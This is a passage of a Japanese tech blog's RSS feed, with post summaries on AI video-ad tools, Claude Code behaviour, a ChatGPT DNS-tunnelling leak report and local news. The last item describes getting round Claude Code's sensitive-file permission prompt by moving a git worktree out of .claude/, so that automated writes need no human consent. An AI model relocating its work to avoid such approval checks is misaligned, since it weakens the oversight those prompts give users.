+0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/%E6%96%87%E4%BA%AC%E5%8C%BA%E5%8C%BA%E5%A0%B1%E3%81%B6%E3%82%93%E3%81%8D%E3%82%87%E3%81%86-2026%E5%B9%B43%E6%9C%8825%E6%97%A5%E5%8F%B7%E3%81%BE%E3%81%A8%E3%82%81-%E5%85%85%E9%9B%BB%E5%BC%8F%E9%9B%BB%E6%B1%A0%E3%81%AE%E5%9B%9E%E5%8F%8E%E9%96%8B%E5%A7%8B%E3%81%A4%E3%81%A4%E3%81%98%E3%81%BE%E3%81%A4%E3%82%8A%E3%81%93%E3%81%A9%E3%82%82%E9%80%9A%E5%9C%92%E5%88%B6%E5%BA%A6%E3%81%BB%E3%81%8B/</guid><description>文京区の区報ぶんきょう2026年3月25日号の要点まとめ。充電式電池の回収体制拡充、こども未来部への組織改正、第55回つつじまつり、こども誰でも通園制度など4月からの新制度を解説。</description></item><item><title>Anthropic Conway とは — 24時間稼働する常駐型AIエージェントの全貌</title><link>https://hdknr.github.io/blogs/posts/2026/04/anthropic-conway-%E3%81%A8%E3%81%AF-24%E6%99%82%E9%96%93%E7%A8%BC%E5%83%8D%E3%81%99%E3%82%8B%E5%B8%B8%E9%A7%90%E5%9E%8Bai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%85%A8%E8%B2%8C/</link><pubDate>Fri, 03 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/anthropic-conway-%E3%81%A8%E3%81%AF-24%E6%99%82%E9%96%93%E7%A8%BC%E5%83%8D%E3%81%99%E3%82%8B%E5%B8%B8%E9%A7%90%E5%9E%8Bai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%85%A8%E8%B2%8C/</guid><description>Anthropic が開発中の常駐型AIエージェント Conway のリーク情報を解説。Always-On 常時稼働、Webhook 連携、ブラウザ操作、.cnw 拡張規格など次世代エージェントの全機能をまとめます。</description></item><item><title>Claude Code 開発で機能が静かにデグレードする — 出力品質テストで防ぐ方法</title><link>https://hdknr.github.io/blogs/posts/2026/04/claude-code-%E9%96%8B%E7%99%BA%E3%81%A7%E6%A9%9F%E8%83%BD%E3%81%8C%E9%9D%99%E3%81%8B%E3%81%AB%E3%83%87%E3%82%B0%E3%83%AC%E3%83%BC%E3%83%89%E3%81%99%E3%82%8B-%E5%87%BA%E5%8A%9B%E5%93%81%E8%B3%AA%E3%83%86%E3%82%B9%E3%83%88%E3%81%A7%E9%98%B2%E3%81%90%E6%96%B9%E6%B3%95/</link><pubDate>Fri, 03 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/claude-code-%E9%96%8B%E7%99%BA%E3%81%A7%E6%A9%9F%E8%83%BD%E3%81%8C%E9%9D%99%E3%81%8B%E3%81%AB%E3%83%87%E3%82%B0%E3%83%AC%E3%83%BC%E3%83%89%E3%81%99%E3%82%8B-%E5%87%BA%E5%8A%9B%E5%93%81%E8%B3%AA%E3%83%86%E3%82%B9%E3%83%88%E3%81%A7%E9%98%B2%E3%81%90%E6%96%B9%E6%B3%95/</guid><description>Claude Code でリファクタリングすると既存機能の出力品質が静かに劣化する問題の事例と、出力仕様テストによる防止策を解説。</description></item><item><title>LLMで株式投資戦略を自動生成 — 松尾研のフィードバック設計実験が示す「モデル選択」の重要性</title><link>https://hdknr.github.io/blogs/posts/2026/04/llm%E3%81%A7%E6%A0%AA%E5%BC%8F%E6%8A%95%E8%B3%87%E6%88%A6%E7%95%A5%E3%82%92%E8%87%AA%E5%8B%95%E7%94%9F%E6%88%90-%E6%9D%BE%E5%B0%BE%E7%A0%94%E3%81%AE%E3%83%95%E3%82%A3%E3%83%BC%E3%83%89%E3%83%90%E3%83%83%E3%82%AF%E8%A8%AD%E8%A8%88%E5%AE%9F%E9%A8%93%E3%81%8C%E7%A4%BA%E3%81%99%E3%83%A2%E3%83%87%E3%83%AB%E9%81%B8%E6%8A%9E%E3%81%AE%E9%87%8D%E8%A6%81%E6%80%A7/</link><pubDate>Fri, 03 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/llm%E3%81%A7%E6%A0%AA%E5%BC%8F%E6%8A%95%E8%B3%87%E6%88%A6%E7%95%A5%E3%82%92%E8%87%AA%E5%8B%95%E7%94%9F%E6%88%90-%E6%9D%BE%E5%B0%BE%E7%A0%94%E3%81%AE%E3%83%95%E3%82%A3%E3%83%BC%E3%83%89%E3%83%90%E3%83%83%E3%82%AF%E8%A8%AD%E8%A8%88%E5%AE%9F%E9%A8%93%E3%81%8C%E7%A4%BA%E3%81%99%E3%83%A2%E3%83%87%E3%83%AB%E9%81%B8%E6%8A%9E%E3%81%AE%E9%87%8D%E8%A6%81%E6%80%A7/</guid><description>松尾研が8つのLLM（Claude・Gemini・GPT）で株式投資戦略を自動生成する72パターンの実験結果。フィードバック設計よりモデル選択が重要という知見を解説</description></item><item><title>Onyx（旧 Danswer）完全ガイド — 無料で使えるオープンソース AI プラットフォーム</title><link>https://hdknr.github.io/blogs/posts/2026/04/onyx%E6%97%A7-danswer%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E7%84%A1%E6%96%99%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-ai-%E3%83%97%E3%83%A9%E3%83%83%E3%83%88%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0/</link><pubDate>Fri, 03 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/onyx%E6%97%A7-danswer%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E7%84%A1%E6%96%99%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-ai-%E3%83%97%E3%83%A9%E3%83%83%E3%83%88%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0/</guid><description>Onyx（旧 Danswer）は MIT ライセンスの無料 AI プラットフォーム。RAG・AIエージェント・50以上のコネクタを備え、Docker でセルフホスト可能。インストール手順やエディション比較を解説。</description></item><item><title>AI UGC動画広告ツール徹底比較 — Arcads・Creatify・HeyGen・Synthesia の選び方</title><link>https://hdknr.github.io/blogs/posts/2026/04/ai-ugc%E5%8B%95%E7%94%BB%E5%BA%83%E5%91%8A%E3%83%84%E3%83%BC%E3%83%AB%E5%BE%B9%E5%BA%95%E6%AF%94%E8%BC%83-arcadscreatifyheygensynthesia-%E3%81%AE%E9%81%B8%E3%81%B3%E6%96%B9/</link><pubDate>Thu, 02 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/ai-ugc%E5%8B%95%E7%94%BB%E5%BA%83%E5%91%8A%E3%83%84%E3%83%BC%E3%83%AB%E5%BE%B9%E5%BA%95%E6%AF%94%E8%BC%83-arcadscreatifyheygensynthesia-%E3%81%AE%E9%81%B8%E3%81%B3%E6%96%B9/</guid><description>&lt;p&gt;AIで動画広告を自動生成するツールが急増している。中でも UGC（ユーザー生成コンテンツ）スタイルの広告動画は、SNS 広告のパフォーマンスを左右する重要な要素だ。本記事では、この領域の主要4ツール — Arcads、Creatify、HeyGen、Synthesia — を機能・料金・API・ユースケースの観点から徹底比較する。&lt;/p&gt;
&lt;h2 id="4ツールの概要"&gt;4ツールの概要&lt;/h2&gt;
&lt;h3 id="arcads--ugc広告のリアルさで圧倒"&gt;Arcads — UGC広告のリアルさで圧倒&lt;/h3&gt;
&lt;p&gt;Arcads（arcads.ai）はフランス発のスタートアップで、UGC スタイルの動画広告生成に特化している。1,000以上のAIアクターを搭載し、自然な表情・ジェスチャー・口の動きを再現する。30秒の商品テスティモニアル（体験談）動画を比較した際、Arcads のアバターは目線の動き、手の強調、感情表現の点で他ツールを上回るという評価が多い。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;設立&lt;/td&gt;
&lt;td&gt;2024年&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;創業者&lt;/td&gt;
&lt;td&gt;Dylan Fournier、Romain Torres&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;資金調達&lt;/td&gt;
&lt;td&gt;シード 1,600万ドル（Eurazeo リード）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ARR&lt;/td&gt;
&lt;td&gt;18ヶ月で0 → 1,300万ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;顧客数&lt;/td&gt;
&lt;td&gt;6,000社以上&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="creatify--url貼り付けで動画を自動生成"&gt;Creatify — URL貼り付けで動画を自動生成&lt;/h3&gt;
&lt;p&gt;Creatify（creatify.ai）は、商品ページの URL を貼り付けるだけで動画広告を自動生成する点が最大の特徴だ。AIが商品情報をスクレイピングし、台本生成から動画制作までを一気通貫で行う。Shopify ストアで50以上の SKU（商品管理単位）を扱うような EC事業者にとって、圧倒的な効率化を実現する。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;設立&lt;/td&gt;
&lt;td&gt;2023年&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;創業者&lt;/td&gt;
&lt;td&gt;Yinan Na、Ledell Wu（元 Meta FAIR）、Xin Zhou&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;資金調達&lt;/td&gt;
&lt;td&gt;Series A 1,550万ドル（WndrCo / Kindred Ventures）、累計2,300万ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ARR&lt;/td&gt;
&lt;td&gt;約900万ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;顧客数&lt;/td&gt;
&lt;td&gt;10,000チーム以上（Alibaba、Binance 等）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="heygen--企業向け多言語動画の王者"&gt;HeyGen — 企業向け多言語動画の王者&lt;/h3&gt;
&lt;p&gt;HeyGen（heygen.com）は、企業向けの多言語動画プラットフォームとして最も成熟している。175以上の言語に対応し、既存動画の翻訳・吹き替えもリップシンク付きで行える。研修動画やプロダクトデモなど、洗練された映像が求められる場面で強い。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;設立&lt;/td&gt;
&lt;td&gt;2020年&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;創業者&lt;/td&gt;
&lt;td&gt;Joshua Xu、Wayne Liang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;資金調達&lt;/td&gt;
&lt;td&gt;Series A 6,000万ドル（Benchmark / Thrive Capital）、評価額5億ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ARR&lt;/td&gt;
&lt;td&gt;約9,500万ドル（2025年9月時点）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;特記&lt;/td&gt;
&lt;td&gt;Q2 2023 に黒字化達成&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="synthesia--業界最古参エンタープライズの標準"&gt;Synthesia — 業界最古参、エンタープライズの標準&lt;/h3&gt;
&lt;p&gt;Synthesia（synthesia.io）は AI動画生成の先駆者であり、50,000以上のチームに導入されている。2026年1月に Series E で2億ドルを調達し、評価額は40億ドルに到達した。企業向け研修・教育コンテンツの領域では事実上のスタンダードだ。&lt;/p&gt;</description></item><item><title>Arcads 完全ガイド — AIで UGC 動画広告を大量生成するプラットフォーム</title><link>https://hdknr.github.io/blogs/posts/2026/04/arcads-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-ai%E3%81%A7-ugc-%E5%8B%95%E7%94%BB%E5%BA%83%E5%91%8A%E3%82%92%E5%A4%A7%E9%87%8F%E7%94%9F%E6%88%90%E3%81%99%E3%82%8B%E3%83%97%E3%83%A9%E3%83%83%E3%83%88%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0/</link><pubDate>Thu, 02 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/arcads-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-ai%E3%81%A7-ugc-%E5%8B%95%E7%94%BB%E5%BA%83%E5%91%8A%E3%82%92%E5%A4%A7%E9%87%8F%E7%94%9F%E6%88%90%E3%81%99%E3%82%8B%E3%83%97%E3%83%A9%E3%83%83%E3%83%88%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0/</guid><description>&lt;p&gt;AI による動画広告の自動生成が急速に進化している。その中でも Arcads は「UGC スタイルの広告動画」に特化したプラットフォームとして注目を集めている。フランス発のスタートアップが18ヶ月で売上1,300万ドルを達成し、シードラウンドで1,600万ドルを調達した背景には何があるのか。本記事では Arcads の機能、使い方、料金、活用事例、競合比較までを網羅的に解説する。&lt;/p&gt;
&lt;h2 id="arcads-とは"&gt;Arcads とは&lt;/h2&gt;
&lt;p&gt;Arcads（arcads.ai）は、テキストの広告台本から UGC（User Generated Content = 一般ユーザーが撮影したような自然な見た目のコンテンツ）スタイルの動画広告を AI で自動生成するプラットフォームだ。2024年に Dylan Fournier 氏と Romain Torres 氏がフランスで創業した。&lt;/p&gt;
&lt;p&gt;従来、UGC 風の動画広告を制作するには、クリエイターへの依頼（1本80〜200ドル以上）や撮影・編集が必要だった。Arcads はこのプロセスを「台本入力 → AIアクター選択 → 動画生成」の3ステップに短縮し、1本あたり約11ドルで動画を生成できる。レンダリング時間は約10分だ。&lt;/p&gt;
&lt;h3 id="会社の概要"&gt;会社の概要&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;設立&lt;/td&gt;
&lt;td&gt;2024年&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;創業者&lt;/td&gt;
&lt;td&gt;Dylan Fournier、Romain Torres&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本拠地&lt;/td&gt;
&lt;td&gt;フランス（サンフランシスコにも拠点拡大中）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;資金調達&lt;/td&gt;
&lt;td&gt;シードラウンド 1,600万ドル（2025年12月）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;投資家&lt;/td&gt;
&lt;td&gt;Eurazeo（リード）、Alpha Intelligence Capital、Sequoia Scout&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;顧客数&lt;/td&gt;
&lt;td&gt;6,000社以上&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;月間生成数&lt;/td&gt;
&lt;td&gt;10万アセット以上&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;売上推移&lt;/td&gt;
&lt;td&gt;18ヶ月で0 → 1,300万ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="主要機能"&gt;主要機能&lt;/h2&gt;
&lt;h3 id="aiアクターライブラリ"&gt;AIアクターライブラリ&lt;/h3&gt;
&lt;p&gt;1,000以上のプリセットAIアクターを搭載。実在の人間をベースにトレーニングされており、自然な表情・ジェスチャー・口の動きを再現する。性別・年齢・人種・撮影環境（自宅・オフィスなど）でフィルタリングして、ターゲット層に合ったアクターを選べる。&lt;/p&gt;
&lt;h3 id="カスタムaiアバター"&gt;カスタムAIアバター&lt;/h3&gt;
&lt;p&gt;プリセットだけでなく、独自のAIアバターも生成可能。アバターに商品を持たせたり、アプリ画面を表示させたり、ブランドの服を着せたりするカスタマイズにも対応する。&lt;/p&gt;
&lt;h3 id="感情表現コントロール"&gt;感情・表現コントロール&lt;/h3&gt;
&lt;p&gt;テキスト指示で「驚き」「興奮」「親しみ」などの感情表現をコントロールできる。Speech-to-Speech 機能を使えば、自分の感情的な語り口をそのまま AIアクターに反映させることも可能だ。&lt;/p&gt;
&lt;h3 id="バッチ生成"&gt;バッチ生成&lt;/h3&gt;
&lt;p&gt;Arcads の最大の武器。1つの台本から、アクター・フック・CTA・背景を変えて数十〜数百のバリエーションを一括生成できる。パフォーマンスマーケターにとっては、従来の手法では資金的に不可能だった規模のA/Bテストを実現できる。&lt;/p&gt;
&lt;h3 id="多言語対応"&gt;多言語対応&lt;/h3&gt;
&lt;p&gt;30以上の言語に対応し、正確な翻訳・吹き替えが可能。グローバルに広告を展開する際の多言語クリエイティブ制作を効率化する。&lt;/p&gt;</description></item><item><title>Claude Code のコンテキスト圧縮戦略 — ソースコードから見える5つのアプローチ</title><link>https://hdknr.github.io/blogs/posts/2026/04/claude-code-%E3%81%AE%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E5%9C%A7%E7%B8%AE%E6%88%A6%E7%95%A5-%E3%82%BD%E3%83%BC%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%89%E3%81%8B%E3%82%89%E8%A6%8B%E3%81%88%E3%82%8B5%E3%81%A4%E3%81%AE%E3%82%A2%E3%83%97%E3%83%AD%E3%83%BC%E3%83%81/</link><pubDate>Thu, 02 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/claude-code-%E3%81%AE%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E5%9C%A7%E7%B8%AE%E6%88%A6%E7%95%A5-%E3%82%BD%E3%83%BC%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%89%E3%81%8B%E3%82%89%E8%A6%8B%E3%81%88%E3%82%8B5%E3%81%A4%E3%81%AE%E3%82%A2%E3%83%97%E3%83%AD%E3%83%BC%E3%83%81/</guid><description>Claude Code のソースコードから判明した5つのコンテキスト圧縮戦略（Microcompact、Context Collapse、Session Memory、Full Compact、PTL Truncation）を解説。auto-compact の発動条件やプロンプトキャッシュとの関係も紹介。</description></item><item><title>AI Brain Fry: AIの使いすぎで脳が焼ける現象とその対策</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-brain-fry-ai%E3%81%AE%E4%BD%BF%E3%81%84%E3%81%99%E3%81%8E%E3%81%A7%E8%84%B3%E3%81%8C%E7%84%BC%E3%81%91%E3%82%8B%E7%8F%BE%E8%B1%A1%E3%81%A8%E3%81%9D%E3%81%AE%E5%AF%BE%E7%AD%96/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-brain-fry-ai%E3%81%AE%E4%BD%BF%E3%81%84%E3%81%99%E3%81%8E%E3%81%A7%E8%84%B3%E3%81%8C%E7%84%BC%E3%81%91%E3%82%8B%E7%8F%BE%E8%B1%A1%E3%81%A8%E3%81%9D%E3%81%AE%E5%AF%BE%E7%AD%96/</guid><description>BCGの1,488名調査で判明したAIツールの過度な使用による認知疲労「AI Brain Fry」。症状、業務への影響、個人・組織レベルの対策を解説。</description></item><item><title>ChatGPTのコード実行環境にDNSトンネリングによるデータ漏洩の脆弱性が発覚</title><link>https://hdknr.github.io/blogs/posts/2026/03/chatgpt%E3%81%AE%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E7%92%B0%E5%A2%83%E3%81%ABdns%E3%83%88%E3%83%B3%E3%83%8D%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AB%E3%82%88%E3%82%8B%E3%83%87%E3%83%BC%E3%82%BF%E6%BC%8F%E6%B4%A9%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%8C%E7%99%BA%E8%A6%9A/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/chatgpt%E3%81%AE%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E7%92%B0%E5%A2%83%E3%81%ABdns%E3%83%88%E3%83%B3%E3%83%8D%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AB%E3%82%88%E3%82%8B%E3%83%87%E3%83%BC%E3%82%BF%E6%BC%8F%E6%B4%A9%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%8C%E7%99%BA%E8%A6%9A/</guid><description>ChatGPTのData Analysis環境にDNSトンネリングによるデータ漏洩の脆弱性をCheck Pointが発見。攻撃の仕組み、漏洩リスク、OpenAIの対応、ユーザーの対策を解説。</description></item><item><title>Claude Code + Self-hosted Runner: 「Auto mode is unavailable for your plan」エラーの原因と対処</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code--self-hosted-runner-auto-mode-is-unavailable-for-your-plan%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AE%E5%8E%9F%E5%9B%A0%E3%81%A8%E5%AF%BE%E5%87%A6/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code--self-hosted-runner-auto-mode-is-unavailable-for-your-plan%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AE%E5%8E%9F%E5%9B%A0%E3%81%A8%E5%AF%BE%E5%87%A6/</guid><description>&lt;h2 id="症状"&gt;症状&lt;/h2&gt;
&lt;p&gt;GitHub Actions の self-hosted runner で &lt;code&gt;claude --print&lt;/code&gt; を使った自動処理が突然動かなくなった。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;claude CLI failed (rc=1): stdout=Auto mode is unavailable for your plan
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;すべてのエージェント呼び出し（researcher, risk, portfolio optimizer）が同じエラーで失敗し、日次の投資提案が生成されなくなった。&lt;/p&gt;
&lt;p&gt;ローカルで &lt;code&gt;claude --print &amp;quot;hello&amp;quot;&lt;/code&gt; を実行すると正常に動作する。&lt;code&gt;claude auth status&lt;/code&gt; でも Max プランで認証済みと表示される。&lt;/p&gt;
&lt;h2 id="原因"&gt;原因&lt;/h2&gt;
&lt;p&gt;2つの問題が重なっていた。&lt;/p&gt;
&lt;h3 id="1-oauth-トークンの期限切れ副次的問題"&gt;1. OAuth トークンの期限切れ（副次的問題）&lt;/h3&gt;
&lt;p&gt;ワークフローで &lt;code&gt;CLAUDE_CODE_OAUTH_TOKEN&lt;/code&gt; 環境変数に &lt;strong&gt;期限切れの OAuth トークン&lt;/strong&gt; を GitHub Secrets から渡していた。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# daily-proposal.yml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;日次投資提案を生成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;env&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;CLAUDE_CODE_OAUTH_TOKEN&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} &lt;/span&gt; &lt;span style="color:#75715e"&gt;# ← 2月に設定したまま&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;GitHub Secrets のトークンは静的で自動更新されない&lt;/li&gt;
&lt;li&gt;ローカルでは環境変数未設定のため、キーチェーンから有効なトークンが自動取得されて動作していた&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-opus-の-auto-mode-制限真の原因"&gt;2. Opus の auto mode 制限（真の原因）&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;claude --print&lt;/code&gt; はデフォルトで &lt;strong&gt;auto mode&lt;/strong&gt;（ツール自動承認）で動作する。Max プランで &lt;strong&gt;Opus モデルの auto mode が制限された&lt;/strong&gt;ため、トークンが有効でも Opus では &lt;code&gt;--print&lt;/code&gt; が使えなくなっていた。&lt;/p&gt;</description></item><item><title>Claude Code の sensitive file チェックを回避する — git worktree の配置場所を .claude/ の外に移す</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE-sensitive-file-%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF%E3%82%92%E5%9B%9E%E9%81%BF%E3%81%99%E3%82%8B-git-worktree-%E3%81%AE%E9%85%8D%E7%BD%AE%E5%A0%B4%E6%89%80%E3%82%92-.claude/-%E3%81%AE%E5%A4%96%E3%81%AB%E7%A7%BB%E3%81%99/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE-sensitive-file-%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF%E3%82%92%E5%9B%9E%E9%81%BF%E3%81%99%E3%82%8B-git-worktree-%E3%81%AE%E9%85%8D%E7%BD%AE%E5%A0%B4%E6%89%80%E3%82%92-.claude/-%E3%81%AE%E5%A4%96%E3%81%AB%E7%A7%BB%E3%81%99/</guid><description>&lt;p&gt;Claude Code の auto モードでブログ記事作成を完全自動化しようとしたところ、&lt;code&gt;.claude/&lt;/code&gt; ディレクトリ配下のファイルへの書き込みで毎回同意を求められる問題に遭遇しました。原因と対処法を記録します。&lt;/p&gt;
&lt;h2 id="問題claude-配下は-sensitive-file-扱い"&gt;問題：&lt;code&gt;.claude/&lt;/code&gt; 配下は sensitive file 扱い&lt;/h2&gt;
&lt;p&gt;Claude Code には、&lt;code&gt;.claude/&lt;/code&gt; ディレクトリ内のファイルを「sensitive file」（設定やスキル定義など、ツールの動作に影響する重要ファイル）として扱う組み込みのセキュリティチェックがあります。&lt;code&gt;settings.local.json&lt;/code&gt; の &lt;code&gt;permissions.allow&lt;/code&gt; に Write/Edit の許可パターンを追加しても回避できません。sensitive file チェックは permissions とは別レイヤーで動作するためです。&lt;/p&gt;
&lt;p&gt;実際に発生したメッセージ:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Claude requested permissions to edit .claude/temp/pr_body.md
which is a sensitive file.
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="背景ブログ記事作成の自動化ワークフロー"&gt;背景：ブログ記事作成の自動化ワークフロー&lt;/h2&gt;
&lt;p&gt;このブログでは &lt;code&gt;/blog&lt;/code&gt; スキルで記事作成から PR 作成まで自動化しています。ワークフローの概要:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;git worktree を作成してブランチを切る&lt;/li&gt;
&lt;li&gt;worktree 内に記事ファイルを作成&lt;/li&gt;
